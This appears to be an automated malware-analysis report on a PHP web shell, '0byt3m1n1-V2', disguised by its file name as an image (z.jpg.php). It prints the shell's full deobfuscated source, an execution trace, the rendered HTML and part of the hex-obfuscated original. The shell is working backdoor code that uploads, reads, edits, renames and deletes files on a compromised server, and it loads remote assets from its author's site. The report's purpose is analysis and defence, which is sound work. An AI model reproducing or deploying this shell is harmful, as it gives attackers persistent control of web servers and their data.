PHP Malware Analysis
z.jpg.php
md5: a7a2ce9df0fbaa7e325af0c3c21ee97f
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Environment
- error_reporting (Deobfuscated, Original, Traces)
- getcwd (Deobfuscated, Traces)
- set_time_limit (Deobfuscated, Original, Traces)
Files
- copy (Deobfuscated, Original)
Input
- _FILES (Deobfuscated, Original)
- _GET (Deobfuscated, Original)
- _POST (Deobfuscated, Original)
Title
- ' . $sname . ' (Deobfuscated)
- '.$sname.' (Original)
- 0byt3m1n1-V2 (HTML)
URLs
- http://zerobyte.id/ (HTML)
- http://zerobyte.id/?url=http://localhost/z.jpg.php" (HTML)
- https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js (Deobfuscated, HTML, Original)
- https://fonts.googleapis.com/css?family=VT323 (Deobfuscated, HTML, Original)
Deobfuscated PHP code
<?php
/*
0 b y t 3 m 1 n 1 - 2.2
Bypass 403 Forbidden / Auto Delete Shell / PHP Malware Detector / Minishell
*/
set_time_limit(0);
error_reporting(0);
error_log(0);
$sname = "0byt3m1n1-V2";
$__gcdir = "getcwd";
$__fgetcon7s = "file_get_contents";
$__scdir = "scandir";
$rm__dir = "rmdir";
$un__link = "unlink";
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE html><html><head><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>' . $sname . '</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body>';
echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $sname . '</center></h1></div>';
if (isset($_GET['path'])) {
$path = $_GET['path'];
chdir($_GET['path']);
} else {
$path = $__gcdir();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo "<table width=\"100%\" border=\"0\" align=\"center\" style=\"margin-top:-10px;\"><tr><td>";
echo "<font style='font-size:13px;'>Path: ";
foreach ($paths as $id => $pat) {
echo "<a style='font-size:13px;' href='?path=";
for ($i = 0; $i <= $id; $i++) {
echo $paths[$i];
if ($i != $id) {
echo "/";
}
}
echo "'>{$pat}</a>/";
}
echo "<br>[ <a href=\"?\">Home</a> ]</font></td><td align=\"center\" width=\"27%\"><form enctype=\"multipart/form-data\" method=\"POST\"><input type=\"file\" name=\"file\" style=\"color:#ef6c00;margin-bottom:4px;\"/><input type=\"submit\" value=\"Upload\" /></form></td></tr><tr><td colspan=\"2\">";
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo "<center><font color=\"#00ff00\">Upload OK!</font></center><br/>";
} else {
echo "<center><font color=\"red\">Upload FAILED!</font></center><br/>";
}
}
echo "</td></tr><tr><td></table><div class=\"table-div\"></div><input id=\"image\" type=\"hidden\">";
echo "";
if (isset($_GET['filesrc'])) {
echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"><tr><td>File: ";
echo "" . basename($_GET['filesrc']);
"";
echo "</tr></td></table><br />";
echo "<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>";
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
if ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo "<center><font color=\"#00ff00\">Rename OK!</font></center><br />";
} else {
echo "<center><font color=\"red\">Rename Failed!</font></center><br />";
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo "<center><font color=\"#00ff00\">Edit File OK!.</font></center><br />";
} else {
echo "<center><font color=\"red\">Edit File Failed!.</font></center><br />";
}
fclose($fp);
}
echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';
}
echo "</center>";
} else {
echo "</table><br /><center>";
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if ($rm__dir($_POST['path'])) {
echo "<center><font color=\"#00ff00\">Dir Deleted!</font></center><br />";
} else {
echo "<center><font color=\"red\">Delete Dir Failed!</font></center><br />";
}
} elseif ($_POST['type'] == 'file') {
if ($un__link($_POST['path'])) {
echo "<font color=\"#00ff00\">Delete File Done.</font><br />";
} else {
echo "<font color=\"red\">Delete File Error.</font><br />";
}
}
}
echo "</center>";
$_scdir = $__scdir($path);
echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"><tr class=\"first\"> <th><center>Name</center></th><th width=\"12%\"><center>Size</center></th><th width=\"10%\"><center>Permissions</center></th> <th width=\"15%\"><center>Last Update</center></th><th width=\"11%\"><center>Options</center></th></tr>";
foreach ($_scdir as $dir) {
if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
continue;
}
echo "<tr><td>[D] <a href=\"?path={$path}/{$dir}\">{$dir}</a></td><td><center>--</center></td><td><center>";
if (is_writable("{$path}/{$dir}")) {
echo "<font color=\"#00ff00\">";
} elseif (!is_readable("{$path}/{$dir}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$dir}");
if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
echo "</font>";
}
echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("{$path}/{$dir}")) . "";
echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path={$path}\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"{$dir}\"><input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
}
foreach ($_scdir as $file) {
if (!is_file("{$path}/{$file}")) {
continue;
}
$size = filesize("{$path}/{$file}") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size .= ' KB';
}
echo "<tr><td>[F] <a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td><td><center>" . $size . "</center></td><td><center>";
if (is_writable("{$path}/{$file}")) {
echo "<font color=\"#00ff00\">";
} elseif (!is_readable("{$path}/{$file}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$file}");
if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
echo "</font>";
}
echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("{$path}/{$file}")) . "";
echo "</center></td><td><center><form method=\"POST\" action=\"?option&path={$path}\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"{$file}\"><input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
}
echo "</table></div>";
}
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xc000) == 0xc000) {
$info = 's';
} elseif (($perms & 0xa000) == 0xa000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= $perms & 0x100 ? 'r' : '-';
$info .= $perms & 0x80 ? 'w' : '-';
$info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
$info .= $perms & 0x20 ? 'r' : '-';
$info .= $perms & 0x10 ? 'w' : '-';
$info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
$info .= $perms & 0x4 ? 'r' : '-';
$info .= $perms & 0x2 ? 'w' : '-';
$info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
return $info;
}
echo "<br><center>© <span id=\"footer\"></span> 2018.</center><br>";
echo "<script type=\"text/javascript\" src=\"//zerobyte-id.github.io/PHP-Backdoor/inc/footer.js\"></script>";
echo "</body></html><!-- EOF -->";Execution traces
data/traces/a7a2ce9df0fbaa7e325af0c3c21ee97f_trace-1676255431.7853.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:30:57.683145]
1 0 1 0.000166 393512
1 3 0 0.000456 445256 {main} 1 /var/www/html/uploads/z.jpg.php 0 0
2 4 0 0.000474 445256 set_time_limit 0 /var/www/html/uploads/z.jpg.php 8 1 0
2 4 1 0.000491 445320
2 4 R FALSE
2 5 0 0.000505 445288 error_reporting 0 /var/www/html/uploads/z.jpg.php 9 1 0
2 5 1 0.000519 445328
2 5 R 22527
2 6 0 0.000532 445288 error_log 0 /var/www/html/uploads/z.jpg.php 10 1 0
2 6 1 0.000558 445320
2 6 R TRUE
1 A /var/www/html/uploads/z.jpg.php 12 $sname = '0byt3m1n1-V2'
1 A /var/www/html/uploads/z.jpg.php 13 $__gcdir = 'getcwd'
1 A /var/www/html/uploads/z.jpg.php 14 $__fgetcon7s = 'file_get_contents'
1 A /var/www/html/uploads/z.jpg.php 15 $__scdir = 'scandir'
1 A /var/www/html/uploads/z.jpg.php 16 $rm__dir = 'rmdir'
1 A /var/www/html/uploads/z.jpg.php 17 $un__link = 'unlink'
2 7 0 0.000638 445288 get_magic_quotes_gpc 0 /var/www/html/uploads/z.jpg.php 19 0
2 7 1 0.000650 445288
2 7 R FALSE
2 8 0 0.000666 445288 getcwd 0 /var/www/html/uploads/z.jpg.php 32 0
2 8 1 0.000679 445336
2 8 R '/var/www/html/uploads'
1 A /var/www/html/uploads/z.jpg.php 32 $path = '/var/www/html/uploads'
2 9 0 0.000705 445336 str_replace 0 /var/www/html/uploads/z.jpg.php 34 3 '\\' '/' '/var/www/html/uploads'
2 9 1 0.000720 445432
2 9 R '/var/www/html/uploads'
1 A /var/www/html/uploads/z.jpg.php 34 $path = '/var/www/html/uploads'
2 10 0 0.000805 445336 explode 0 /var/www/html/uploads/z.jpg.php 35 2 '/' '/var/www/html/uploads'
2 10 1 0.000820 445912
2 10 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/z.jpg.php 35 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/z.jpg.php 38 $id = 0
1 A /var/www/html/uploads/z.jpg.php 40 $i = 0
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 38 $id = 1
1 A /var/www/html/uploads/z.jpg.php 40 $i = 0
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 38 $id = 2
1 A /var/www/html/uploads/z.jpg.php 40 $i = 0
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 38 $id = 3
1 A /var/www/html/uploads/z.jpg.php 40 $i = 0
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 38 $id = 4
1 A /var/www/html/uploads/z.jpg.php 40 $i = 0
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
1 A /var/www/html/uploads/z.jpg.php 40 $i++
2 11 0 0.001064 445840 scandir 0 /var/www/html/uploads/z.jpg.php 107 1 '/var/www/html/uploads'
2 11 1 0.001100 446464
2 11 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'z.jpg.php']
1 A /var/www/html/uploads/z.jpg.php 107 $_scdir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'z.jpg.php']
2 12 0 0.001139 446480 is_dir 0 /var/www/html/uploads/z.jpg.php 110 1 '/var/www/html/uploads/.'
2 12 1 0.001157 446544
2 12 R TRUE
2 13 0 0.001172 446512 is_dir 0 /var/www/html/uploads/z.jpg.php 110 1 '/var/www/html/uploads/..'
2 13 1 0.001187 446560
2 13 R TRUE
2 14 0 0.001200 446520 is_dir 0 /var/www/html/uploads/z.jpg.php 110 1 '/var/www/html/uploads/.htaccess'
2 14 1 0.001215 446560
2 14 R FALSE
2 15 0 0.001228 446520 is_dir 0 /var/www/html/uploads/z.jpg.php 110 1 '/var/www/html/uploads/data'
2 15 1 0.001243 446560
2 15 R TRUE
2 16 0 0.001256 446520 is_writable 0 /var/www/html/uploads/z.jpg.php 113 1 '/var/www/html/uploads/data'
2 16 1 0.001275 446560
2 16 R TRUE
2 17 0 0.001296 446520 perms 1 /var/www/html/uploads/z.jpg.php 117 1 '/var/www/html/uploads/data'
3 18 0 0.001309 446520 fileperms 0 /var/www/html/uploads/z.jpg.php 148 1 '/var/www/html/uploads/data'
3 18 1 0.001322 446560
3 18 R 16895
2 A /var/www/html/uploads/z.jpg.php 148 $perms = 16895
2 A /var/www/html/uploads/z.jpg.php 158 $info = 'd'
2 A /var/www/html/uploads/z.jpg.php 166 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 167 $info .= 'w'
2 A /var/www/html/uploads/z.jpg.php 168 $info .= 'x'
2 A /var/www/html/uploads/z.jpg.php 169 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 170 $info .= 'w'
2 A /var/www/html/uploads/z.jpg.php 171 $info .= 'x'
2 A /var/www/html/uploads/z.jpg.php 172 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 173 $info .= 'w'
2 A /var/www/html/uploads/z.jpg.php 174 $info .= 'x'
2 17 1 0.001442 446560
2 17 R 'drwxrwxrwx'
2 19 0 0.001456 446520 is_writable 0 /var/www/html/uploads/z.jpg.php 118 1 '/var/www/html/uploads/data'
2 19 1 0.001472 446560
2 19 R TRUE
2 20 0 0.001486 446520 filemtime 0 /var/www/html/uploads/z.jpg.php 120 1 '/var/www/html/uploads/data'
2 20 1 0.001498 446560
2 20 R 1676255431
2 21 0 0.001511 446464 date 0 /var/www/html/uploads/z.jpg.php 120 2 'd-M-Y H:i' 1676255431
2 21 1 0.001568 448856
2 21 R '12-Feb-2023 21:30'
2 22 0 0.001587 448592 is_dir 0 /var/www/html/uploads/z.jpg.php 110 1 '/var/www/html/uploads/prepend.php'
2 22 1 0.001604 448640
2 22 R FALSE
2 23 0 0.001617 448592 is_dir 0 /var/www/html/uploads/z.jpg.php 110 1 '/var/www/html/uploads/z.jpg.php'
2 23 1 0.001631 448624
2 23 R FALSE
2 24 0 0.001644 448576 is_file 0 /var/www/html/uploads/z.jpg.php 124 1 '/var/www/html/uploads/.'
2 24 1 0.001659 448608
2 24 R FALSE
2 25 0 0.001672 448576 is_file 0 /var/www/html/uploads/z.jpg.php 124 1 '/var/www/html/uploads/..'
2 25 1 0.001685 448624
2 25 R FALSE
2 26 0 0.001698 448584 is_file 0 /var/www/html/uploads/z.jpg.php 124 1 '/var/www/html/uploads/.htaccess'
2 26 1 0.001712 448624
2 26 R TRUE
2 27 0 0.001725 448584 filesize 0 /var/www/html/uploads/z.jpg.php 126 1 '/var/www/html/uploads/.htaccess'
2 27 1 0.001738 448624
2 27 R 64
1 A /var/www/html/uploads/z.jpg.php 126 $size = 0.0625
2 28 0 0.001762 448528 round 0 /var/www/html/uploads/z.jpg.php 127 2 0.0625 3
2 28 1 0.001775 448600
2 28 R 0.063
1 A /var/www/html/uploads/z.jpg.php 127 $size = 0.063
1 A /var/www/html/uploads/z.jpg.php 131 $size = '0.063 KB'
2 29 0 0.001812 448624 is_writable 0 /var/www/html/uploads/z.jpg.php 134 1 '/var/www/html/uploads/.htaccess'
2 29 1 0.001829 448664
2 29 R FALSE
2 30 0 0.001842 448624 is_readable 0 /var/www/html/uploads/z.jpg.php 136 1 '/var/www/html/uploads/.htaccess'
2 30 1 0.001857 448664
2 30 R TRUE
2 31 0 0.001870 448624 perms 1 /var/www/html/uploads/z.jpg.php 138 1 '/var/www/html/uploads/.htaccess'
3 32 0 0.001883 448624 fileperms 0 /var/www/html/uploads/z.jpg.php 148 1 '/var/www/html/uploads/.htaccess'
3 32 1 0.001907 448664
3 32 R 33188
2 A /var/www/html/uploads/z.jpg.php 148 $perms = 33188
2 A /var/www/html/uploads/z.jpg.php 154 $info = '-'
2 A /var/www/html/uploads/z.jpg.php 166 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 167 $info .= 'w'
2 A /var/www/html/uploads/z.jpg.php 168 $info .= '-'
2 A /var/www/html/uploads/z.jpg.php 169 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 170 $info .= '-'
2 A /var/www/html/uploads/z.jpg.php 171 $info .= '-'
2 A /var/www/html/uploads/z.jpg.php 172 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 173 $info .= '-'
2 A /var/www/html/uploads/z.jpg.php 174 $info .= '-'
2 31 1 0.002026 448664
2 31 R '-rw-r--r--'
2 33 0 0.002040 448624 is_writable 0 /var/www/html/uploads/z.jpg.php 139 1 '/var/www/html/uploads/.htaccess'
2 33 1 0.002056 448664
2 33 R FALSE
2 34 0 0.002069 448624 is_readable 0 /var/www/html/uploads/z.jpg.php 139 1 '/var/www/html/uploads/.htaccess'
2 34 1 0.002084 448664
2 34 R TRUE
2 35 0 0.002097 448624 filemtime 0 /var/www/html/uploads/z.jpg.php 141 1 '/var/www/html/uploads/.htaccess'
2 35 1 0.002116 448664
2 35 R 1676255431
2 36 0 0.002129 448568 date 0 /var/www/html/uploads/z.jpg.php 141 2 'd-M-Y H:i' 1676255431
2 36 1 0.002159 448896
2 36 R '12-Feb-2023 21:30'
2 37 0 0.002175 448624 is_file 0 /var/www/html/uploads/z.jpg.php 124 1 '/var/www/html/uploads/data'
2 37 1 0.002190 448664
2 37 R FALSE
2 38 0 0.002203 448632 is_file 0 /var/www/html/uploads/z.jpg.php 124 1 '/var/www/html/uploads/prepend.php'
2 38 1 0.002218 448680
2 38 R TRUE
2 39 0 0.002231 448640 filesize 0 /var/www/html/uploads/z.jpg.php 126 1 '/var/www/html/uploads/prepend.php'
2 39 1 0.002244 448680
2 39 R 57
1 A /var/www/html/uploads/z.jpg.php 126 $size = 0.0556640625
2 40 0 0.002267 448536 round 0 /var/www/html/uploads/z.jpg.php 127 2 0.0556640625 3
2 40 1 0.002281 448608
2 40 R 0.056
1 A /var/www/html/uploads/z.jpg.php 127 $size = 0.056
1 A /var/www/html/uploads/z.jpg.php 131 $size = '0.056 KB'
2 41 0 0.002317 448640 is_writable 0 /var/www/html/uploads/z.jpg.php 134 1 '/var/www/html/uploads/prepend.php'
2 41 1 0.002333 448680
2 41 R FALSE
2 42 0 0.002346 448640 is_readable 0 /var/www/html/uploads/z.jpg.php 136 1 '/var/www/html/uploads/prepend.php'
2 42 1 0.002361 448680
2 42 R TRUE
2 43 0 0.002373 448640 perms 1 /var/www/html/uploads/z.jpg.php 138 1 '/var/www/html/uploads/prepend.php'
3 44 0 0.002386 448640 fileperms 0 /var/www/html/uploads/z.jpg.php 148 1 '/var/www/html/uploads/prepend.php'
3 44 1 0.002400 448680
3 44 R 33261
2 A /var/www/html/uploads/z.jpg.php 148 $perms = 33261
2 A /var/www/html/uploads/z.jpg.php 154 $info = '-'
2 A /var/www/html/uploads/z.jpg.php 166 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 167 $info .= 'w'
2 A /var/www/html/uploads/z.jpg.php 168 $info .= 'x'
2 A /var/www/html/uploads/z.jpg.php 169 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 170 $info .= '-'
2 A /var/www/html/uploads/z.jpg.php 171 $info .= 'x'
2 A /var/www/html/uploads/z.jpg.php 172 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 173 $info .= '-'
2 A /var/www/html/uploads/z.jpg.php 174 $info .= 'x'
2 43 1 0.002525 448680
2 43 R '-rwxr-xr-x'
2 45 0 0.002539 448640 is_writable 0 /var/www/html/uploads/z.jpg.php 139 1 '/var/www/html/uploads/prepend.php'
2 45 1 0.002555 448680
2 45 R FALSE
2 46 0 0.002568 448640 is_readable 0 /var/www/html/uploads/z.jpg.php 139 1 '/var/www/html/uploads/prepend.php'
2 46 1 0.002583 448680
2 46 R TRUE
2 47 0 0.002596 448640 filemtime 0 /var/www/html/uploads/z.jpg.php 141 1 '/var/www/html/uploads/prepend.php'
2 47 1 0.002609 448680
2 47 R 1676255431
2 48 0 0.002622 448576 date 0 /var/www/html/uploads/z.jpg.php 141 2 'd-M-Y H:i' 1676255431
2 48 1 0.002652 448904
2 48 R '12-Feb-2023 21:30'
2 49 0 0.002667 448632 is_file 0 /var/www/html/uploads/z.jpg.php 124 1 '/var/www/html/uploads/z.jpg.php'
2 49 1 0.002682 448664
2 49 R TRUE
2 50 0 0.002694 448624 filesize 0 /var/www/html/uploads/z.jpg.php 126 1 '/var/www/html/uploads/z.jpg.php'
2 50 1 0.002706 448664
2 50 R 9154
1 A /var/www/html/uploads/z.jpg.php 126 $size = 8.939453125
2 51 0 0.002730 448528 round 0 /var/www/html/uploads/z.jpg.php 127 2 8.939453125 3
2 51 1 0.002743 448600
2 51 R 8.939
1 A /var/www/html/uploads/z.jpg.php 127 $size = 8.939
1 A /var/www/html/uploads/z.jpg.php 131 $size = '8.939 KB'
2 52 0 0.002779 448624 is_writable 0 /var/www/html/uploads/z.jpg.php 134 1 '/var/www/html/uploads/z.jpg.php'
2 52 1 0.002795 448664
2 52 R FALSE
2 53 0 0.002808 448624 is_readable 0 /var/www/html/uploads/z.jpg.php 136 1 '/var/www/html/uploads/z.jpg.php'
2 53 1 0.002822 448664
2 53 R TRUE
2 54 0 0.002835 448624 perms 1 /var/www/html/uploads/z.jpg.php 138 1 '/var/www/html/uploads/z.jpg.php'
3 55 0 0.002847 448624 fileperms 0 /var/www/html/uploads/z.jpg.php 148 1 '/var/www/html/uploads/z.jpg.php'
3 55 1 0.002859 448664
3 55 R 33204
2 A /var/www/html/uploads/z.jpg.php 148 $perms = 33204
2 A /var/www/html/uploads/z.jpg.php 154 $info = '-'
2 A /var/www/html/uploads/z.jpg.php 166 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 167 $info .= 'w'
2 A /var/www/html/uploads/z.jpg.php 168 $info .= '-'
2 A /var/www/html/uploads/z.jpg.php 169 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 170 $info .= 'w'
2 A /var/www/html/uploads/z.jpg.php 171 $info .= '-'
2 A /var/www/html/uploads/z.jpg.php 172 $info .= 'r'
2 A /var/www/html/uploads/z.jpg.php 173 $info .= '-'
2 A /var/www/html/uploads/z.jpg.php 174 $info .= '-'
2 54 1 0.002979 448664
2 54 R '-rw-rw-r--'
2 56 0 0.002993 448624 is_writable 0 /var/www/html/uploads/z.jpg.php 139 1 '/var/www/html/uploads/z.jpg.php'
2 56 1 0.003008 448664
2 56 R FALSE
2 57 0 0.003021 448624 is_readable 0 /var/www/html/uploads/z.jpg.php 139 1 '/var/www/html/uploads/z.jpg.php'
2 57 1 0.003036 448664
2 57 R TRUE
2 58 0 0.003049 448624 filemtime 0 /var/www/html/uploads/z.jpg.php 141 1 '/var/www/html/uploads/z.jpg.php'
2 58 1 0.003062 448664
2 58 R 1676255431
2 59 0 0.003074 448568 date 0 /var/www/html/uploads/z.jpg.php 141 2 'd-M-Y H:i' 1676255431
2 59 1 0.003104 448896
2 59 R '12-Feb-2023 21:30'
1 3 1 0.003126 448680
0.003158 326584
TRACE END [2023-02-13 00:30:57.686169]
Generated HTML code
<html><head><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>0byt3m1n1-V2</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body><div style="color:#ef6c00;margin-top:0;"><h1><center>0byt3m1n1-V2</center></h1></div><table width="100%" border="0" align="center" style="margin-top:-10px;"><tbody><tr><td><font style="font-size:13px;">Path: <a style="font-size:13px;" href="?path="></a>/<a style="font-size:13px;" href="?path=/var">var</a>/<a style="font-size:13px;" href="?path=/var/www">www</a>/<a style="font-size:13px;" href="?path=/var/www/html">html</a>/<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#ef6c00;margin-bottom:4px;"><input type="submit" value="Upload"></form></td></tr><tr><td colspan="2"></td></tr><tr><td></td></tr></tbody></table><div class="table-div" style="background-image: url("http://zerobyte.id/?url=http://localhost/z.jpg.php");"></div><input id="image" type="hidden"><br><center></center><div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tbody><tr class="first"> <th><center>Name</center></th><th width="12%"><center>Size</center></th><th width="10%"><center>Permissions</center></th> <th width="15%"><center>Last Update</center></th><th width="11%"><center>Options</center></th></tr><tr><td>[F] <a href="?filesrc=/var/www/html/beneri.se_malware_analysis&path=/var/www/html">beneri.se_malware_analysis</a></td><td><center>0 KB</center></td><td><center>-rw-r--r--</center></td><td><center>12-Feb-2023 21:30</center></td><td><center><form method="POST" action="?option&path=/var/www/html"><select name="opt"><option value=""></option><option value="delete">Delete</option><option value="rename">Rename</option><option value="edit">Edit</option></select><input type="hidden" name="type" value="file"><input type="hidden" name="name" value="beneri.se_malware_analysis"><input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis"><input type="submit" value="+"></form></center></td></tr><tr><td>[F] <a href="?filesrc=/var/www/html/z.jpg.php&path=/var/www/html">z.jpg.php</a></td><td><center>8.939 KB</center></td><td><center>-rw-rw-r--</center></td><td><center>12-Feb-2023 21:30</center></td><td><center><form method="POST" action="?option&path=/var/www/html"><select name="opt"><option value=""></option><option value="delete">Delete</option><option value="rename">Rename</option><option value="edit">Edit</option></select><input type="hidden" name="type" value="file"><input type="hidden" name="name" value="z.jpg.php"><input type="hidden" name="path" value="/var/www/html/z.jpg.php"><input type="submit" value="+"></form></center></td></tr></tbody></table></div><br><center>© <span id="footer"><a href="http://zerobyte.id/">ZeroByte.ID</a></span> 2018.</center><br><script type="text/javascript" src="//zerobyte-id.github.io/PHP-Backdoor/inc/footer.js"></script></body></html>Original PHP code
<?php
/*
0 b y t 3 m 1 n 1 - 2.2
Bypass 403 Forbidden / Auto Delete Shell / PHP Malware Detector / Minishell
*/
set_time_limit(0);
error_reporting(0);
error_log(0);
$sname = "\x30\x62\x79\x74\x33\x6d\x31\x6e\x31" . "-V2";
$__gcdir = "\x67" . "\x65\x74\x63\x77\x64";
$__fgetcon7s = "\x66\x69\x6c\x65" . "\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$__scdir = "s" . "\x63\x61\x6e\x64\x69" . "r";
$rm__dir = "\x72\x6d\x64" . "ir";
$un__link = "\x75\x6e" . "\x6c\x69\x6e\x6b";
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE html><html><head><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>'.$sname.'</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body>';
echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $sname . '</center></h1></div>';
if (isset($_GET['path'])) {
$path = $_GET['path'];
chdir($_GET['path']);
} else {
$path = $__gcdir();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo '<table width="100%" border="0" align="center" style="margin-top:-10px;"><tr><td>';
echo "<font style='font-size:13px;'>Path: ";
foreach ($paths as $id => $pat) {
echo "<a style='font-size:13px;' href='?path=";
for ($i = 0; $i <= $id; $i++) {
echo $paths[$i];
if ($i != $id) {
echo "/";
}
}
echo "'>$pat</a>/";
}
echo '<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#ef6c00;margin-bottom:4px;"/><input type="submit" value="Upload" /></form></td></tr><tr><td colspan="2">';
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
